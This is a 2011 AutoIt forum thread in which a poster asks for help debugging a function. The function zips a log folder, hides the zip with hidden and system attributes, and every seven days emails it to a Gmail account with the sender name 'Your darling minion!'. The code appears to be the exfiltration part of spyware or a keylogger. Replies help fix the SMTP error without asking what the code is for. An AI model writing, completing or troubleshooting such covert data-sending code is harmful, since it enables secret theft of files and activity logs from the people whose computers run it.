abybaddi009 Posted June 21, 2011 Share Posted June 21, 2011 (edited) Func check_internet() $ping = Ping("www.google.com") If Not @error Then FileClose($last) ; $last = FileOpen("C:\log\last.exe", 1). File is used as a date stamper. $lsa = FileOpen("C:\log\last.exe", 0) $r = FileRead($lsa) If $r = -1 Or $r > 7 Then ; to send e-mails at an interval of seven days. FileClose($lsa) $lsa = FileOpen("C:\ylog\last.exe", 2) FileWrite($lsa,"0") Dim $Zip = "C:\log" $Zip = _Zip_Create("C:\log\zip_"&$date&".zip") ;Created the zip. is this correct? FileSetAttrib($Zip, "+HS") _INetSmtpMailCom("mail.google.com","Your darling minion!","*******.*****@gmail.com","*******","Got Something For ya!","See attachment!",$Zip,"*******.*****@gmail.com","","Normal","*******.*****","***********",465,1) ; something goes wrong in here I suppose FileClose($lsa) Else FileClose($lsa) $lsa = FileOpen("C:\log\last.exe", 2) FileWrite($lsa,$r+1) ; this should happen only if last modified day isn't today... FileClose($lsa) EndIf EndIf EndFunc I want this function to check the internet connection... if exists then { check the last date of modification of the file last.exe (days passed since the last e-mail is sent) if it's == -1 (default at the start of script)or greater than 7 { zip the folder, send the e-mail and put value '0' in last.exe } else ( days passed is less than 7 and greater than equal 0 ) increase $r } Any suggestions? Thanks in advance...mail.au3Zip.au3 Edited June 21, 2011 by abybaddi009 #include<god.h>_asm //don't look!!![spoiler]x DB "aby'y DB 'GOD'tmp DB ? MOV CX,3 LEA SI, y LEA DI, tmp REP MOVSB LEA SI, x LEA DI, y REP MOVSB LEA SI, tmp LEA DI, x REP MOVSB MOV AH,09 MOV DX, OFFSET x INT 21h MOV DX, OFFSET y INT 21h[/spoiler] Link to comment Share on other sites More sharing options...
sleepydvdr Posted June 21, 2011 Share Posted June 21, 2011 First, do you want to add something to the zip file? Your script currently produces an empty file. Use _Zip_AddFile to add. To get the date of the file, use FileGetTime. If you just want to schedule the script, why not use Task Scheduler? #include <ByteMe.au3> Link to comment Share on other sites More sharing options...
abybaddi009 Posted June 22, 2011 Author Share Posted June 22, 2011 The zip file doesn't matter. Only the thing is to send the email. I get a error code: 2 with empty description. Any Ideas? #include<god.h>_asm //don't look!!![spoiler]x DB "aby'y DB 'GOD'tmp DB ? MOV CX,3 LEA SI, y LEA DI, tmp REP MOVSB LEA SI, x LEA DI, y REP MOVSB LEA SI, tmp LEA DI, x REP MOVSB MOV AH,09 MOV DX, OFFSET x INT 21h MOV DX, OFFSET y INT 21h[/spoiler] Link to comment Share on other sites More sharing options...
hannes08 Posted June 22, 2011 Share Posted June 22, 2011 Maybe you want to try using the trace parameter (see function reference) once to see where the problem is. Error code 2 means normally a problem with TCP in general. Regards,Hannes[spoiler]If you can't convince them, confuse them![/spoiler] Link to comment Share on other sites More sharing options...
abybaddi009 Posted June 22, 2011 Author Share Posted June 22, 2011 (edited) After changing _INetSmtpMailCom("mail.google.com","Your darling minion!","*******.*****@gmail.com","*******","Got Something For ya!","See attachment!",$Zip,"*******.*****@gmail.com","","Normal","*******.*****","***********",465,1) to _INetSmtpMailCom("mail.google.com","Your darling minion!","*******.*****@gmail.com","*******","Got Something For ya!","See attachment!","C:\boot.ini","*******.*****@gmail.com","","Normal","*******.*****","***********",465,1) Now it says: Transfer failed to server. edit: I changed the $Zip to C:\boot.ini Edited June 22, 2011 by abybaddi009 #include<god.h>_asm //don't look!!![spoiler]x DB "aby'y DB 'GOD'tmp DB ? MOV CX,3 LEA SI, y LEA DI, tmp REP MOVSB LEA SI, x LEA DI, y REP MOVSB LEA SI, tmp LEA DI, x REP MOVSB MOV AH,09 MOV DX, OFFSET x INT 21h MOV DX, OFFSET y INT 21h[/spoiler] Link to comment Share on other sites More sharing options...
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now